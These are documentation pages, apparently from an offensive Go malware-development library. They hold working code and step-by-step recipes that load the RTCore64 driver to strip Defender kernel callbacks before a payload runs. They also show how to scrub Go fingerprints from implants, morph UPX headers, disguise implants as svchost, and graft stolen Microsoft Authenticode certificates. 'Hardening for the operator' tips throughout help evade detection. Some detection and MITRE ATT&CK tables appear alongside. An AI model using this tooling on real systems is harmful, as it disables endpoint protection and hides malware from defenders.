The whole point of kernel/driver/rtcore64 is to back a driver.ReadWriter that downstream packages consume. evasion/kcallback is the canonical consumer — given the driver, enumerate every PspCreate/Thread/LoadImage notify routine and selectively neutralize an EDR's callbacks:

package main

import (
	"fmt"
	"log"

	"github.com/oioio-space/maldev/evasion/kcallback"
	"github.com/oioio-space/maldev/kernel/driver/rtcore64"
)

func main() {
	// 1. Bring up the driver.
	var d rtcore64.Driver
	if err := d.Install(); err != nil { log.Fatal(err) }
	defer d.Uninstall()

	// 2. Operator-supplied OffsetTable for the current ntoskrnl build
	//    (derived offline from a PDB dump — see kernel-callback-removal.md).
	tab := kcallback.OffsetTable{
		Build:                   19045,
		CreateProcessRoutineRVA: 0xC1AAA0,
		CreateThreadRoutineRVA:  0xC1AC20,
		LoadImageRoutineRVA:     0xC1AB40,
		ArrayLen:                64,
	}

	// 3. Enumerate.
	cbs, err := kcallback.Enumerate(&d, tab)
	if err != nil { log.Fatal(err) }

	// 4. Selectively NULL-out every EDR-driver-owned slot. Restore on exit
	//    so the host doesn't notice tampering after a benign payload.
	var tokens []kcallback.RemoveToken
	for _, cb := range cbs {
		fmt.Printf("[%s][%d] %s @ 0x%X enabled=%v\n",
			cb.Kind, cb.Index, cb.Module, cb.Address, cb.Enabled)
		if cb.Module == "WdFilter.sys" || cb.Module == "MsSecCore.sys" {
			tok, err := kcallback.Remove(cb, &d)
			if err != nil { log.Printf("remove %s[%d]: %v", cb.Kind, cb.Index, err); continue }
			tokens = append(tokens, tok)
		}
	}
	defer func() {
		for _, tok := range tokens {
			_ = kcallback.Restore(tok, &d)
		}
	}()

	// ... payload runs here without EDR callbacks firing ...
}

The same &d plugs into credentials/lsassdump.Unprotect for a PPL LSASS dump — see LSASS Credential Dump for that composition.

Detection

PhaseSignal
DropNew file write to %WINDIR%\Temp\RTCore64.sys
SCM installCreateService with SERVICE_KERNEL_DRIVER + name RTCore64
Driver loadNtLoadDriver event, Microsoft-Windows-Kernel-General ETW
IOCTLDeviceIoControl against \\.\RTCore64 with codes 0x80002048 / 0x8000204C (every public PoC uses these exact codes)

Detection drops to Medium once steady-state because the driver is signed, but the device name is in every EDR's known-IOC list. Renaming the dropped file does not help — the IOCTL device path is hard-coded inside RTCore64.sys.

References

See also

PE manipulation

← maldev README · docs/index

Pure-Go Portable Executable analysis, sanitisation, identity cloning, signature grafting, and conversion-to-shellcode. The package tree is intentionally bottom-up: pe/parse and pe/imports are read-only walkers, pe/strip, pe/morph, pe/cert, pe/masquerade are byte-mutators on a []byte, and pe/srdi is the producer of position-independent shellcode that downstream inject/ chains consume. Runtime-side BOF and CLR loaders moved to runtime/bof and runtime/clr respectively.

flowchart LR
    subgraph offline [Offline / build-host]
        SRC[Source PE<br>signed donor]
        PARSE[parse + imports<br>read-only walkers]
        STRIP[strip<br>Go-toolchain scrub]
        MORPH[morph<br>UPX header rename]
        CERT[cert<br>Authenticode graft]
        MASQ[masquerade<br>manifest + icon<br>+ VERSIONINFO clone]
        SRDI[srdi<br>Donut PE → shellcode]
    end
    subgraph runtime [Runtime / target host]
        INJECT[inject/*<br>execute shellcode]
        BOF[runtime/bof<br>COFF loader]
        CLR[runtime/clr<br>.NET hosting]
    end
    SRC --> PARSE
    SRC --> STRIP
    SRC --> MORPH
    SRC --> CERT
    SRC --> MASQ
    SRC --> SRDI
    SRDI --> INJECT
    PARSE -. drives unhook scoping .-> RUNT[runtime evasion]

Packages

PackageTech pageDetectionOne-liner
pe/parse(covered here + doc.go)very-quietRead-only debug/pe wrapper for section / export / raw-byte access
pe/importsimports.mdvery-quietCross-platform import-table enumeration
pe/stripstrip-sanitize.mdquietGo pclntab wipe + section rename + timestamp scrub
pe/morphmorph.mdmoderateUPX header signature mutation
pe/certcertificate-theft.mdquietAuthenticode security-directory read / copy / strip / write
pe/masquerademasquerade.mdquietmanifest + icon + VERSIONINFO clone via .syso (preset or programmatic)
pe/srdipe-to-shellcode.mdmoderatePE / .NET / script → Donut shellcode
pe/dllproxydll-proxy.mdvery-quietPure-Go forwarder DLL emitter for DLL-hijack payloads

Quick decision tree

You want to…Use
…read every DLL!Function pair from a PEimports.List
…wipe the "Made in Go" markersstrip.Sanitize
…hide a UPX-packed binary from auto-unpackersmorph.UPXMorph
…graft a Microsoft signature onto an unsigned binarycert.Copy
…make Process Explorer render the implant as svchostpreset blank-import
…clone any PE's identity programmaticallymasquerade.Clone / Build
…convert a PE / .NET / script to position-independent shellcodesrdi.ConvertFile
…feed shellcode to remote-process injectionpe/srdiinject
…enumerate sections / exports for toolingpe/parse
…emit a forwarder DLL for hijack payloads (no MSVC)dllproxy.Generate

MITRE ATT&CK

T-IDNamePackagesD3FEND counter
T1027.002Obfuscated Files or Information: Software Packingpe/strip, pe/morph, pe/parseD3-SEA, D3-FCA
T1027.005Indicator Removal from Toolspe/stripD3-SEA
T1036.005Masquerading: Match Legitimate Name or Locationpe/masqueradeD3-EAL, D3-SEA
T1055.001Process Injection: Dynamic-link Library Injectionpe/srdi (consumer)D3-PA
T1106Native APIpe/importsD3-SEA
T1574.001DLL Search Order Hijackingpe/dllproxyD3-PFV
T1574.002DLL Side-Loadingpe/dllproxyD3-PFV
T1553.002Subvert Trust Controls: Code Signingpe/certD3-EAL
T1620Reflective Code Loadingpe/srdiD3-FCA, D3-PA

Layered scrub recipe

The full identity scrub for a Go-built implant is a six-step build-host pipeline. None of the steps is enough alone; together they survive triage long enough to matter.

  1. Build with garble — symbol obfuscation at compile time.
  2. pe/masquerade.Clone — clone svchost / cmd / explorer identity at link time via .syso.
  3. pe/strip.Sanitize — wipe pclntab + rename Go sections + scrub timestamp.
  4. UPX pack + pe/morph.UPXMorph — defeat signature-based unpackers.
  5. pe/cert.Copy — graft a Microsoft Authenticode blob.
  6. cleanup/timestomp.CopyFromFull — align MFT timestamps to the donor.

For payload delivery (separate from build):

  1. pe/srdi.ConvertFile — convert the implant or downstream payload to Donut shellcode.
  2. inject/* — deliver the shellcode via any of the documented techniques.

See also

PE Sanitization (Go-toolchain scrub)

← pe index · docs/index

TL;DR

Wipe the "Made in Go" markers from a Windows PE: pclntab magic bytes (defeats redress / GoReSym / IDA go_parser), Go-specific section names (.gopclntab, .go.buildinfo, …), and the TimeDateStamp. Sanitize chains the three primitives with sensible defaults; individual primitives stay exported so callers can compose custom pipelines.

Primer

Go binaries are uniquely identifiable. They ship with a build timestamp, a pclntab structure that tools like IDA's go_parser, redress, and GoReSym use to reconstruct function names, and section names like .gopclntab that immediately identify the binary as Go to even the laziest YARA rule.

pe/strip removes or rewrites these indicators so static analysis tooling cannot trivially identify the binary as Go nor reconstruct its internal structure. Pair with garble (Go-symbol obfuscation at compile time) for a layered scrub: garble handles the symbols, strip handles the PE-level fingerprint that remains after garble emits the binary.

How It Works

flowchart LR
    INPUT[Go-built PE binary] --> TS[SetTimestamp<br>random epoch / project date]
    TS --> PCL[WipePclntab<br>zero 32 bytes at each<br>pclntab magic match]
    PCL --> RN[RenameSections<br>.gopclntab → .rdata2<br>.go.buildinfo → .rsrc2<br>.noptrdata → .data2]
    RN --> OUT[Sanitised PE]
PrimitiveWhat it touches
SetTimestampIMAGE_FILE_HEADER.TimeDateStamp (4 bytes at PE+8)
WipePclntab32 bytes at every 0xFFFFFFF1 (Go 1.20+) / 0xFFFFFFF0 (Go 1.16+) magic match in the binary
RenameSections8-byte Name field of every matching section header

Sanitize applies all three with defaults: random recent timestamp, full pclntab wipe, the canonical .go*.{rdata,rsrc,data}2 rename map.

API Reference

Sanitize(peData []byte) []byte

godoc

Apply all sanitisations with sensible defaults. Returns a fresh byte slice; the input is not mutated.

SetTimestamp(peData []byte, t time.Time) []byte

godoc

Overwrite IMAGE_FILE_HEADER.TimeDateStamp with t's Unix seconds.

WipePclntab(peData []byte) []byte

godoc

Zero 32 bytes at every Go pclntab magic-byte match. Targets 0xFFFFFFF1 (Go 1.20+) and 0xFFFFFFF0 (Go 1.16+).

RenameSections(peData []byte, renames map[string]string) []byte

godoc

Walk the section table and overwrite each 8-byte Name field where the existing name matches a key in renames.

Examples

Simple — quick sanitise

import (
    "os"

    "github.com/oioio-space/maldev/pe/strip"
)

raw, _ := os.ReadFile("implant.exe")
clean := strip.Sanitize(raw)
_ = os.WriteFile("implant_clean.exe", clean, 0o644)

Composed — fixed timestamp + custom renames

import (
    "time"

    "github.com/oioio-space/maldev/pe/strip"
)

raw, _ := os.ReadFile("implant.exe")
raw = strip.SetTimestamp(raw, time.Date(2024, 6, 15, 10, 30, 0, 0, time.UTC))
raw = strip.WipePclntab(raw)
raw = strip.RenameSections(raw, map[string]string{
    ".gopclntab":    ".rdata",
    ".go.buildinfo": ".rsrc",
    ".text":         ".code",
})

Advanced — garble + strip pipeline

import (
    "os"
    "os/exec"

    "github.com/oioio-space/maldev/pe/strip"
)

func buildAndSanitize() {
    _ = exec.Command("garble", "-literals", "-tiny", "build",
        "-ldflags", "-s -w -H windowsgui",
        "-o", "implant-garbled.exe",
        "./cmd/implant",
    ).Run()

    raw, _ := os.ReadFile("implant-garbled.exe")
    raw = strip.Sanitize(raw)
    _ = os.WriteFile("implant-final.exe", raw, 0o644)
}

See ExampleSanitize.

OPSEC & Detection

ArtefactWhere defenders look
YARA rule matching .gopclntab / .go.buildinfo section namesStatic scanners; trivially defeated by RenameSections
YARA rule matching pclntab magic (FF FF FF F1)Static scanners; defeated by WipePclntab
Build-timestamp pinning to a known Go-toolchain release windowForensic timeline; defeated by SetTimestamp
Rich header (Microsoft linker fingerprint)Not produced by Go's linker — so its absence is itself a tell on Windows-only deployments
File entropy / Go-binary size signatureOutside this package's scope; pair with UPX / pe/morph

D3FEND counters:

  • D3-SEA — IAT, sections, magic bytes.
  • D3-FCA — fuzzy-hash + entropy similarity scans still flag.

Hardening for the operator:

  • Run Sanitize after garble so Go-symbol obfuscation lands before the PE-level scrub.
  • Couple with pe/morph if the implant is UPX-packed — neither alone defeats both static + entropy detection.
  • Don't rely on this for behavioural EDR — the binary still acts like Go runtime (large initial allocations, GC pauses, ntdll-heavy IAT).

MITRE ATT&CK

T-IDNameSub-coverageD3FEND counter
T1027.002Obfuscated Files or Information: Software Packingpartial — header + section-name scrub, no payload encryptionD3-SEA
T1027.005Indicator Removal from Toolsfull — pclntab wipe defeats Go-binary-disassembly toolsD3-SEA

Limitations

  • Not encryption. The binary structure is still a valid PE; behavioural analysis is unaffected.
  • Partial pclntab. WipePclntab zeros 32 bytes per magic match — the rest of the pclntab structure remains, and determined analysts can reconstruct portions.
  • Cosmetic section renames. Renaming .gopclntab to .rdata2 does not change its contents; entropy still identifies the data inside.
  • Complementary, not standalone. Pair with garble (symbols), pe/morph (UPX), pe/cert (signature) for layered scrub.
  • Malformed PEs may panic. Functions assume well-formed PE input; run on toolchain-emitted binaries only.

See also

PE Morphing (UPX section rename)

← pe index · docs/index

TL;DR

Replace UPX section names (UPX0, UPX1, UPX2) with random bytes so off-the-shelf static unpackers (CFF Explorer, x64dbg's UPX plugin, IDA's UPX preprocessor) fail to recognise the input. The runtime UPX stub keeps working because it references offsets, not the magic. UPXFix reverses the morph for debugging.

Primer

UPX is the most popular executable packer — it compresses binaries to reduce size. Every UPX-packed binary carries well-known section names that every antivirus and EDR fingerprint on contact. pe/morph rewrites those names with random non-zero bytes, breaking the signature-based unpack pipeline while leaving the runtime behaviour intact.

The morph is a 24-byte change (three 8-byte section name fields). That is enough to break SHA-256 blocklists entirely, but similarity-hash scans (ssdeep, TLSH) still pin the variant to its parent in the ~95th percentile range — the morph is genuinely shallow, defeating only signature-based static unpacker matching.

How It Works

flowchart LR
    INPUT["UPX-packed binary<br>UPX0 / UPX1 / UPX2"] --> SCAN[Scan section table<br>for 'UPX' substring]
    SCAN --> RAND[Generate 8 random<br>printable bytes per section]
    RAND --> PATCH[Overwrite Name field<br>40-byte section header offset]
    PATCH --> OUT[Morphed binary<br>random section names]

The section name field lives at offset 0 of every 40-byte section header in the section table. The section table itself starts at COFF_offset + 20 + SizeOfOptionalHeader; each header is 40 bytes; the Name field is the first 8 bytes. UPXMorph walks the table, matches names containing "UPX", and overwrites the 8 bytes in place. UPXFix walks the same table, matches the random bytes against the expected layout (3 sections, sequential), and restores the canonical names.

API Reference

UPXMorph(peData []byte) ([]byte, error)

godoc

Replace UPX section names with random bytes. Returns the input unchanged when the PE is not UPX-packed; returns an error on malformed PE input.

UPXFix(peData []byte) ([]byte, error)

godoc

Restore canonical UPX0 / UPX1 / UPX2 section names. The morphed binary becomes unpackable with upx -d again.

Examples

Simple — morph an existing UPX binary

import (
    "os"

    "github.com/oioio-space/maldev/pe/morph"
)

raw, _ := os.ReadFile("payload.upx.exe")
morphed, _ := morph.UPXMorph(raw)
_ = os.WriteFile("payload.morph.exe", morphed, 0o644)

Composed — restore for debugging

restored, _ := morph.UPXFix(morphed)
// upx -d on restored now succeeds

Advanced — fuzzy-hash before/after

Demonstrate the morph defeats SHA-256 but not similarity hashes:

import (
    "fmt"
    "os"

    "github.com/oioio-space/maldev/hash"
    "github.com/oioio-space/maldev/pe/morph"
)

raw, _ := os.ReadFile("payload.upx.exe")
sha256Before := hash.SHA256(raw)
ssBefore, _ := hash.Ssdeep(raw)
tlBefore, _ := hash.TLSH(raw)

morphed, _ := morph.UPXMorph(raw)

ssAfter, _ := hash.Ssdeep(morphed)
tlAfter, _ := hash.TLSH(morphed)
ssScore, _ := hash.SsdeepCompare(ssBefore, ssAfter)
tlDist, _ := hash.TLSHCompare(tlBefore, tlAfter)

fmt.Printf("SHA-256 same?    %v\n", sha256Before == hash.SHA256(morphed)) // false
fmt.Printf("ssdeep score:    %d / 100\n", ssScore)                        // ~97
fmt.Printf("TLSH distance:   %d\n", tlDist)                               // ~12

Pipeline — build → pack → strip → morph

exec.Command("garble", "-literals", "-tiny", "build", "-o", "step1.exe", "./cmd/implant").Run()
exec.Command("upx", "--best", "-o", "step2.exe", "step1.exe").Run()

raw, _ := os.ReadFile("step2.exe")
raw = strip.Sanitize(raw)
raw, _ = morph.UPXMorph(raw)
_ = os.WriteFile("final.exe", raw, 0o644)

See ExampleUPXMorph.

OPSEC & Detection

ArtefactWhere defenders look
UPX0 / UPX1 / UPX2 literal section namesYARA / EDR static rules — defeated by morph
Sequential 24KB+ executable sections + decompression stubHeuristic UPX detection — not defeated
File entropy ~7.99 bits/byte (compressed payload)Anti-malware entropy scans — unchanged
Runtime: VirtualAlloc(RWX) + decompression in-placeBehavioural EDR — outside scope; UPX morph only touches the on-disk file
ssdeep / TLSH similarity to a known UPX-packed family memberFuzzy-hash blocklists — only ~24 bytes change, similarity stays high

D3FEND counters:

  • D3-SEA — section-table inspection.
  • D3-FCA — entropy + fuzzy-hash similarity.

Hardening for the operator:

  • Pair with pe/strip (pclntab + section rename) for both Go and UPX scrub in a single pass.
  • The UPX runtime stub itself is detectable — for higher-effort scenarios swap the stub via a custom packer.

MITRE ATT&CK

T-IDNameSub-coverageD3FEND counter
T1027.002Obfuscated Files or Information: Software Packingpartial — UPX header morph defeats signature-based unpackers; entropy + stub remainD3-SEA, D3-FCA

Limitations

  • UPX-specific. Only targets UPX section names; other packers (Themida, VMProtect, ASPack) are out of scope.
  • Superficial. The UPX decompression stub is still present and recognisable by deep analysis — heuristic detectors win.
  • Entropy unchanged. High-entropy compressed sections remain detectable by entropy scans.
  • Fuzzy hash leak. ssdeep / TLSH similarity stays in the ~95th-percentile range; not safe against family-similarity blocklists.
  • Requires valid PE. Malformed input returns an error; no best-effort partial morph.

See also

PE Resource Masquerade

← pe index · docs/index

TL;DR

Embed the manifest, icon set, and VERSIONINFO of a legitimate Windows binary into a Go implant at compile time. Two modes: preset (zero-effort blank-import) for the canonical svchost / cmd / explorer / taskmgr / notepad identities, or programmatic ([Extract] / [Clone] / [Build] + With* options) to clone any PE on demand. Process Explorer, Task Manager, and naive allowlists render the implant as the cloned identity; signature checks and behavioural EDRs see through it.

Primer

Task Manager and Process Explorer trust the icon, company name, and description embedded in a PE's resource section. Mature allowlists key on OriginalFilename + CompanyName; AppLocker publisher rules trust the embedded manifest. Masquerading those fields with a known-Microsoft value clears casual triage and opens up a host of "is this svchost?" trust assumptions.

The clone is shallow. .rdata strings (runtime., main.), imports (Go's ntdll-heavy IAT), and the Authenticode signature state still betray the implant to anyone who looks past the icon. Pair with pe/strip (Go-toolchain scrub), pe/cert (signature graft), and cleanup/timestomp (MFT alignment) for layered cover.

How It Works

flowchart LR
    SRC[Source PE<br>e.g. svchost.exe] --> EXT[Extract<br>manifest + icons + VERSIONINFO]
    EXT --> RES[Resources struct]
    RES --> MUT[optional: mutate fields<br>OriginalFilename / FileVersion / icon]
    MUT --> SYSO[GenerateSyso<br>winres COFF emitter]
    SYSO --> FILE[resource_windows_amd64.syso]
    FILE --> LINK[go build<br>auto-links .syso]
    LINK --> OUT[implant .exe<br>with cloned identity]

At build time, go build finds every *_windows_amd64.syso in an imported package directory and merges its COFF .rsrc section into the final binary. No external tool is invoked during build.

Available presets

5 identities × 2 UAC variants = 10 packages, each ~34 KB. Pick one and blank-import:

IdentitySource EXEBase (asInvoker)Admin (requireAdministrator)
cmdSystem32\cmd.exe…/preset/cmd…/preset/cmd/admin
svchostSystem32\svchost.exe…/preset/svchost…/preset/svchost/admin
taskmgrSystem32\taskmgr.exe…/preset/taskmgr…/preset/taskmgr/admin
explorerWindows\explorer.exe…/preset/explorer…/preset/explorer/admin
notepadSystem32\notepad.exe…/preset/notepad…/preset/notepad/admin

Rules:

  1. At most one blank-import per final binary. Windows PEs carry exactly one RT_MANIFEST (ID = 1); two imports yield a duplicate-symbol linker error.
  2. Pick the UAC variant that matches operational need:
    • base (asInvoker): no UAC prompt, runs with the invoking shell's token — most stealthy.
    • admin (requireAdministrator): forces the UAC consent UI. Only when the cloned identity naturally requires elevation (taskmgr, explorer/admin) — a cmd asking for admin is suspicious.

API Reference

Programmatic entry points

SymbolDescription
Extract(pePath) (*Resources, error)Open a PE; extract manifest + icons + VERSIONINFO + optional Authenticode cert.
Clone(srcPE, outSyso, arch, level) errorOne-shot Extract + GenerateSyso.
Build(out, arch, opts ...Option) errorOption-chain entry point — start from a source PE, override fields, emit.
(*Resources).GenerateSyso(out, arch, level)Write .syso from the current Resources state via plain os.Create.
(*Resources).GenerateSysoVia(creator, out, arch, level)Same as GenerateSyso, but routes through a stealthopen.Creator. nil → os.Create; non-nil → operator-controlled write primitive. The COFF byte stream is identical.
(*Resources).IconCount() intHow many icon groups were extracted.

Build options

OptionEffect
WithSourcePE(path)Seed from existing PE (icons + manifest + VERSIONINFO).
WithExecLevel(level)Override requestedExecutionLevel.
WithManifest(xml)Replace entire manifest with raw XML.
WithVersionInfo(vi)Override all version resource strings.
WithIconFile(path)Load icon from PNG / ICO / BMP / JPEG.
WithIconImage(img)Create icon from Go image.Image.
WithIcons(icons)Advanced — pass []*winres.Icon directly.
WithCertificate(c)Store a *cert.Certificate for post-build application via cert.Write.

Constants

TypeValues
ArchAMD64, I386
ExecLevelAsInvoker, HighestAvailable, RequireAdministrator

Sentinel errors

ErrorTrigger
ErrEmptySourcePEWithSourcePE("")

Examples

Simple — preset blank-import

package main

import (
    _ "github.com/oioio-space/maldev/pe/masquerade/preset/svchost"
)

func main() {
    // Process Explorer renders this as svchost.exe
}
PS> (Get-Item .\mybin.exe).VersionInfo | Format-List
CompanyName      : Microsoft Corporation
FileDescription  : Host Process for Windows Services
OriginalFilename : svchost.exe
ProductName      : Microsoft® Windows® Operating System

Composed — Clone in a generate step

//go:build ignore
// generator.go — invoked via `go generate`

package main

import "github.com/oioio-space/maldev/pe/masquerade"

func main() {
    _ = masquerade.Clone(
        `C:\Windows\System32\svchost.exe`,
        "resource_windows_amd64.syso",
        masquerade.AMD64,
        masquerade.AsInvoker,
    )
}

Advanced — icon swap with custom VERSIONINFO

Use svchost icons but override every VERSIONINFO field — useful when an AV cross-checks OriginalFilename against the on-disk filename.

masquerade.Build("resource_windows_amd64.syso", masquerade.AMD64,
    masquerade.WithSourcePE(`C:\Windows\System32\svchost.exe`),
    masquerade.WithExecLevel(masquerade.AsInvoker),
    masquerade.WithVersionInfo(&masquerade.VersionInfo{
        FileDescription:  "Host Process for Windows Services",
        CompanyName:      "Microsoft Corporation",
        ProductName:      "Microsoft® Windows® Operating System",
        OriginalFilename: "svchost.exe",
        FileVersion:      "10.0.22621.3007",
        ProductVersion:   "10.0.22621.3007",
    }),
)

Pipeline — Clone + cert + strip + timestomp

End-to-end identity scrub: clone svchost identity, graft its Authenticode cert, scrub Go markers, align MFT timestamps.

//go:build ignore

package main

import (
    "log"
    "os"

    "github.com/oioio-space/maldev/cleanup/timestomp"
    "github.com/oioio-space/maldev/pe/cert"
    "github.com/oioio-space/maldev/pe/masquerade"
    "github.com/oioio-space/maldev/pe/strip"
)

func main() {
    const exe = `.\loader.exe`
    const ref = `C:\Windows\System32\svchost.exe`

    // 1. Generate the .syso (run before `go build`).
    if err := masquerade.Clone(ref,
        "resource_windows_amd64.syso",
        masquerade.AMD64,
        masquerade.AsInvoker,
    ); err != nil {
        log.Fatal(err)
    }

    // (assume `go build` produced `loader.exe` here)

    // 2. Strip Go markers.
    raw, _ := os.ReadFile(exe)
    raw = strip.Sanitize(raw)
    _ = os.WriteFile(exe, raw, 0o644)

    // 3. Graft the donor's Authenticode cert.
    _ = cert.Copy(ref, exe)

    // 4. Match MFT timestamps to the donor.
    _ = timestomp.CopyFromFull(ref, exe)
}

See ExampleClone

Regenerating presets

# On a Windows host (read-only access to System32 is enough):
go run ./pe/masquerade/internal/gen

The generator is pure Go (uses tc-hib/winres as a library) and does not modify the host filesystem outside this repository.

Regenerate when:

  • A Windows update refreshes icons/metadata of a reference exe.
  • Adding a new identity (extend the identities slice in pe/masquerade/internal/gen/main.go).
  • Adding a new variant (e.g. highestAvailable).

OPSEC & Detection

ArtefactWhere defenders look
Verified: Unsigned from sigcheck /aMicrosoft binaries are always signed; unsigned file claiming Microsoft origin is a high-fidelity signal — pair with pe/cert
Mismatched OriginalFilename vs on-disk filenameMature AV (Defender, MDE) cross-checks; rename the on-disk file to match
Defender ML heuristics on Go-binary + Microsoft VERSIONINFOAtypical combination flagged by some ML pipelines; pair with pe/strip
.rdata strings betraying Go origin (runtime., main., GOROOT paths)YARA rules; partially mitigated by garble + pe/strip
Process Explorer's "Verified Signer" columnShows (Not verified) when signature is missing
AppLocker / WDAC publisher rulesStrict enforcement validates the cert chain — masquerade alone cannot pass

D3FEND counters:

  • D3-EAL — strict allowlisting cross-checks publisher.
  • D3-SEA — VERSIONINFO + manifest inspection.
  • D3-PA — runtime behaviour rarely matches the cloned identity (svchost doesn't normally make outbound HTTPS to attacker C2).

Hardening for the operator:

  • Pair with pe/cert so signature checks no longer fail open.
  • Pair with pe/strip so Go fingerprints don't betray the spoof.
  • Match runtime behaviour to the cloned identity: a "svchost" beaconing every 60 s is more suspicious than a real svchost.
  • Match the on-disk filename to OriginalFilename and place the binary in a path consistent with the cloned identity (%SystemRoot%\System32\ for Microsoft binaries).

MITRE ATT&CK

T-IDNameSub-coverageD3FEND counter
T1036.005Masquerading: Match Legitimate Name or Locationfull — manifest + icon + VERSIONINFO cloneD3-EAL, D3-SEA, D3-PA

Limitations

  • Metadata only. .rdata strings, imports, .text are not modified — this is shallow masquerading.
  • Signature absent by default. Pair with pe/cert or any defender that checks Authenticode catches the spoof.
  • Static identity at build time. Each binary carries one identity; runtime swaps would require image rewriting.
  • Defender ML edge cases. Some EDRs flag the Go + Microsoft-VERSIONINFO combo as anomalous; test against the target stack.
  • Manifest restrictions. Exactly one RT_MANIFEST per PE — cannot stack two preset imports.

See also

Credits

  • tc-hib/winres — pure-Go COFF .rsrc emitter used by the generator.

PE Import Table Analysis

← pe index · docs/index

TL;DR

Walk a PE's IMAGE_DIRECTORY_ENTRY_IMPORT and return every (DLL, Function) pair the binary depends on. Pure Go via debug/pe — no DbgHelp, no LoadLibrary, runs on any host parsing any PE. Used to scope unhooking passes, build dynamic API-resolution payloads, and triage unknown binaries.

Primer

Every Windows EXE or DLL carries a list of the functions it calls from other DLLs — the import table. Reading it tells you exactly which kernel or user-mode APIs the binary relies on without running it. Defenders use this for triage; offensive tooling uses it to scope unhook passes (only restore the Nt* you actually call) and to feed downstream syscall-discovery (extract SSNs from ntdll exports the binary imports).

The package is fully cross-platform — it operates on PE bytes via the standard library's debug/pe parser, so a Linux build host can introspect a Windows implant without round-tripping through Wine or signtool.

How It Works

flowchart LR
    A["PE bytes"] --> B["debug/pe.NewFile"]
    B --> C["ImportedSymbols<br>walks IMAGE_IMPORT_DESCRIPTOR"]
    C --> D{"parse Func then DLL"}
    D --> E["List Import<br>DLL + Function"]
    E --> F["evasion/unhook<br>or wsyscall SSN extract"]
  • Read the PE optional header and locate IMAGE_DIRECTORY_ENTRY_IMPORT.
  • Walk each IMAGE_IMPORT_DESCRIPTOR, following OriginalFirstThunk (or FirstThunk if the original is zero) to resolve each imported function.
  • Handle both by-name and by-ordinal entries.
  • Return a flat []Import slice — callers reshape as needed.

API Reference

type Import

godoc

FieldTypeDescription
DLLstringImported DLL name as it appears in the import descriptor
FunctionstringImported function name (or #<ordinal> for ordinal-only entries)

List(pePath string) ([]Import, error)

godoc

Parse the PE on disk and return every import.

ListByDLL(pePath, dllName string) ([]Import, error)

godoc

Filter List's output to imports from the named DLL (case-insensitive match against IMAGE_IMPORT_DESCRIPTOR.Name).

FromReader(r io.ReaderAt) ([]Import, error)

godoc

Parse a PE buffer in memory. Useful when the PE bytes are decrypted in-process and never touch disk.

Examples

Simple — list every import

import (
    "fmt"

    "github.com/oioio-space/maldev/pe/imports"
)

imps, _ := imports.List(`C:\Windows\System32\notepad.exe`)
for _, imp := range imps {
    fmt.Printf("%s!%s\n", imp.DLL, imp.Function)
}

Composed — filter to ntdll, parse from memory

import (
    "bytes"

    "github.com/oioio-space/maldev/pe/imports"
)

ntImps, _ := imports.ListByDLL(`C:\loader.exe`, "ntdll.dll")
inMem, _ := imports.FromReader(bytes.NewReader(decryptedPE))

Advanced — unhook only what we actually call

Layered with evasion/unhook so only the Nt* the loader actually imports get restored — minimal .text write footprint, no unused-function crumbs for an EDR's integrity checker.

import (
    "os"

    "github.com/oioio-space/maldev/evasion"
    "github.com/oioio-space/maldev/evasion/unhook"
    "github.com/oioio-space/maldev/pe/imports"
    wsyscall "github.com/oioio-space/maldev/win/syscall"
)

self, _ := os.Executable()
ntImps, _ := imports.ListByDLL(self, "ntdll.dll")

caller := wsyscall.New(wsyscall.MethodIndirect, wsyscall.NewTartarus())
defer caller.Close()

techs := make([]evasion.Technique, 0, len(ntImps))
for _, i := range ntImps {
    techs = append(techs, unhook.Classic(i.Function))
}
_ = evasion.ApplyAll(techs, caller)

See ExampleList.

OPSEC & Detection

ArtefactWhere defenders look
File-read of a PEEDR file-access telemetry — but read-only access is exceedingly common; not a useful signal
Subsequent unhooking write to ntdll .textSysmon Event 8 (CreateRemoteThread / ImageWrite); ETW Microsoft-Windows-Threat-Intelligence — the consumer of import data, not import parsing itself
YARA on the implant binary's IATStatic rules against unusual ntdll-import sets — large Nt* lists imply a syscall-driven loader

D3FEND counters:

  • D3-SEA — IAT inspection on submitted samples.

Hardening for the operator:

  • Strip unused imports at link time (-trimpath, garble) so the IAT only carries what the loader genuinely needs.
  • Do the import walk against the on-disk PE before any unhooking; parsing is invisible.

MITRE ATT&CK

T-IDNameSub-coverageD3FEND counter
T1106Native APIdiscovery primitive — drives runtime resolution and unhook scopingD3-SEA

Limitations

  • By-ordinal imports surface as #<ordinal> strings; resolving ordinals to names requires the target DLL's export table (separate operation).
  • Bound imports are read straight from the descriptor — the cached resolved address is the value at bind time; current IAT may differ.
  • Delay-loaded imports (DELAYIMPORT directory) are not enumerated by this package; use debug/pe directly or wait for first-use resolution.
  • Manifest-redirected DLLs show their declared name, not the redirect target — useful for IOC matching, not for runtime resolution.

See also

PE Certificate Theft

← pe index · docs/index

TL;DR

Lift the Authenticode certificate blob from a legitimately signed PE (Microsoft binary, vendor driver, etc.) and append it to an unsigned implant — patching the security directory in place. The signature won't verify cryptographically but many naive scanners only check for certificate presence, not validity.

Primer

Windows uses Authenticode signatures to verify executable provenance. The cryptographic check is two-part: presence of a certificate blob in the PE security directory, and validation of that blob against a trusted root CA. A surprising number of defensive tools — naive AV, file-property dialogs, allowlists keyed on "is signed?" — only check the first part. Cloning a known-good cert blob onto an unsigned implant clears those naive checks while still failing signtool verify.

The package is cross-platform: cert blobs are pure-byte PE manipulation, no Win32 APIs involved. Use it on a Linux build host to prepare implants without round-tripping through signtool.exe.

How It Works

sequenceDiagram
    participant Signed as "Signed PE notepad.exe"
    participant Tool as "pe/cert"
    participant Unsigned as "Unsigned implant"

    Tool->>Signed: Read locate security directory
    Note over Tool: PE Data Directory 4 - VirtualAddress is file offset, unique among directories
    Tool->>Signed: read WIN_CERTIFICATE blob
    Tool->>Unsigned: Write pad to 8-byte alignment
    Tool->>Unsigned: append cert blob
    Tool->>Unsigned: patch security directory entry
    Note over Unsigned: Now carries Authenticode cert - signature fails verify, presence checks pass

The PE security directory (data directory index 4) is unique: its VirtualAddress field is a file offset, not an RVA. WIN_CERTIFICATE structures are appended after the last section, 8-byte aligned. Read parses the directory entry and returns the raw blob; Write truncates / appends + patches.

API Reference

type Certificate

godoc

FieldTypeDescription
Raw[]byteRaw WIN_CERTIFICATE bytes including header(s) and the embedded PKCS#7 signature blob

Has(pePath string) (bool, error)

godoc

Cheapest probe — true when the security directory entry is non-zero. Does not parse the certificate.

Read(pePath string) (*Certificate, error)

godoc

Parse the security directory and return the embedded cert. Returns ErrNoCertificate when the PE is unsigned.

Write(pePath string, c *Certificate) error

godoc

Append c.Raw to the PE, 8-byte align, patch the security directory header in place.

